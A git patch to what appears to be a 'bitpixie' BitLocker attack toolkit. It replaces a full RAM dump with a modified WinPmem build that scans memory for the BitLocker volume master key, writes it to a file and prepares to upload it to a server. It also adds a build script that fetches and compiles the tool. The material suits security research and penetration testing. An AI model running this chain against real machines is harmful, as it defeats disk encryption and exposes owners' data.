From 66b9fa2a3c5f2a8cfd0bf5a169bb960e8ecd852e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marc=20Andr=C3=A9=20Tanner?= <mat@brain-dump.org>
Date: Tue, 18 Mar 2025 21:09:56 +0100
Subject: [PATCH] winpe: use modified version of WinPmem instead of DumpIt

This does not perform a full memory dump, but instead searches
incrementally and stops after the first match.
---
 Makefile                   | 10 ++++++++--
 pxe/smb/exploit-winpe2.bat | 24 ++++++++----------------
 winpe/build-winpmem.sh     | 28 ++++++++++++++++++++++++++++
 3 files changed, 44 insertions(+), 18 deletions(-)
 create mode 100755 winpe/build-winpmem.sh

diff --git a/Makefile b/Makefile
index 7a4106a..bcaeafe 100644
--- a/Makefile
+++ b/Makefile
@@ -13,6 +13,7 @@ GRUB = ${TFTP}/grubx64.efi
 BOOT_SDI = ${TFTP}/Boot/boot.sdi
 BOOT_WIM = ${TFTP}/Boot/boot.wim
 DUMPIT_EXE = ${SMB}/winpe/DumpIt.exe
+WINPMEM_EXE = ${SMB}/winpe/winpmem.exe
 SEARCH_VMK_EXE = ${SMB}/winpe/search-vmk.exe
 DISLOCKER_METADATA_EXE = ${SMB}/winpe/dislocker-metadata.exe
 
@@ -31,7 +32,7 @@ ${SHIM} ${GRUB}:
 	docker run --platform linux/amd64 --rm -v "${PWD}/linux/bootloader:/build" -v "${PXE}":/mnt -w /root \
                 alpine:3.20.3 "/build/download.sh"
 
-winpe: ${BOOT_SDI} ${BOOT_WIM} ${DUMPIT_EXE} ${SEARCH_VMK_EXE} ${DISLOCKER_METADATA_EXE}
+winpe: ${BOOT_SDI} ${BOOT_WIM} ${WINPMEM_EXE} ${SEARCH_VMK_EXE} ${DISLOCKER_METADATA_EXE}
 	@echo "Building WinPE based bitpixie exploitation components..."
 
 ${BOOT_SDI} ${BOOT_WIM}:
@@ -39,6 +40,11 @@ ${BOOT_SDI} ${BOOT_WIM}:
 	docker run --platform linux/amd64 --rm -v "${PWD}/winpe:/build" -v "${PXE}":/mnt -w /root \
                 alpine:3.20.3 "/build/download-winpe.sh"
 
+${WINPMEM_EXE}:
+	@echo "Bulding $@..."
+	docker run --platform linux/amd64 --rm -v "${PWD}/winpe:/build" -v "${PXE}":/mnt -w /root \
+                alpine:3.20.3 "/build/build-winpmem.sh"
+
 ${DUMPIT_EXE}:
 	@echo "Please download Magnet DumpIt for Windows"
 	@echo "\n https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/\n"
@@ -57,6 +63,6 @@ ${DISLOCKER_METADATA_EXE}:
 
 clean:
 	@rm -f "${SHIM}" "${GRUB}" "${KERNEL}" "${INITRAMFS}"
-	@rm -f "${BOOT_SDI}" "${BOOT_WIM}" "${SEARCH_VMK_EXE}" "${DISLOCKER_METADATA_EXE}"
+	@rm -f "${BOOT_SDI}" "${BOOT_WIM}" "${WINPMEM_EXE}" "${SEARCH_VMK_EXE}" "${DISLOCKER_METADATA_EXE}"
 
 .PHONY: all linux winpe clean
diff --git a/pxe/smb/exploit-winpe2.bat b/pxe/smb/exploit-winpe2.bat
index 972bdc9..ae6587d 100644
--- a/pxe/smb/exploit-winpe2.bat
+++ b/pxe/smb/exploit-winpe2.bat
@@ -11,20 +11,10 @@ if "%~1"=="" (
 set "SERVER=%~1"
 if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
 
-:: Get the current drive letter
-set "CURR_DRIVE=%CD:~0,2%"
-
-:: Check if the drive is X:\
-if /I "%CURR_DRIVE%"=="X:" (
-	echo Error: Current directory is on ramdisk X:\ drive.
-	echo Error: Switch to USB drive having enough space to dump complete RAM
-	fsutil fsinfo drives
-	exit /b 1
-)
-
 echo Downloading tools
 
-copy /Y "%SERVER%\winpe\DumpIt.exe" .
+:: copy /Y "%SERVER%\winpe\DumpIt.exe" .
+copy /Y "%SERVER%\winpe\winpmem.exe" .
 copy /Y "%SERVER%\winpe\search-vmk.exe" .
 copy /Y "%SERVER%\winpe\dislocker-metadata.exe" .
 
@@ -32,12 +22,14 @@ echo.
 echo Dumping physical memory
 
 for /f %%H in ('hostname') do set HOSTNAME=%%H
-DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
 
-echo.
-echo Searching VMK in memory dump
+:: DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
+:: echo.
+:: echo Searching VMK in memory dump
+:: 
+:: search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
 
-search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
+winpmem.exe -K "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
 
 echo.
 echo Uploading VMK
diff --git a/winpe/build-winpmem.sh b/winpe/build-winpmem.sh
new file mode 100755
index 0000000..099eccf
--- /dev/null
+++ b/winpe/build-winpmem.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+set -e
+
+__() { printf "\n\033[1;32m* %s [%s]\033[0m\n" "$1" "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"; }
+
+__ "Installing required tools"
+
+apk add make cmake mingw-w64-gcc
+
+__ "Getting WinPmem source"
+
+wget "https://github.com/martanne/WinPmem-BitLocker/archive/1e8ad783862e76b72aa17c0e0937bed6776cb442.tar.gz" -O winpmem.tar.gz \
+    && echo '30279694816d75f4af2e51932b85512723945ccadd2e2e58fffecbc42f1b77a3  winpmem.tar.gz' \
+    | sha256sum -c || exit 1
+
+tar xf winpmem.tar.gz && cd WinPmem-*
+
+__ "Building WinPmem"
+
+cd src/executable
+iconv -f UTF-16LE -t UTF-8 winpmem.rc > winpmem.utf8.rc
+sed -i 's,\\\\,/,g' winpmem.utf8.rc
+x86_64-w64-mingw32-windres winpmem.utf8.rc -O coff -o resources.o
+x86_64-w64-mingw32-g++ -DUNICODE -D_UNICODE -municode -mconsole -static main.cpp winpmem.cpp resources.o -o winpmem 
+
+__ "Copying artifacts to SMB directory"
+
+cp winpmem.exe /mnt/smb/winpe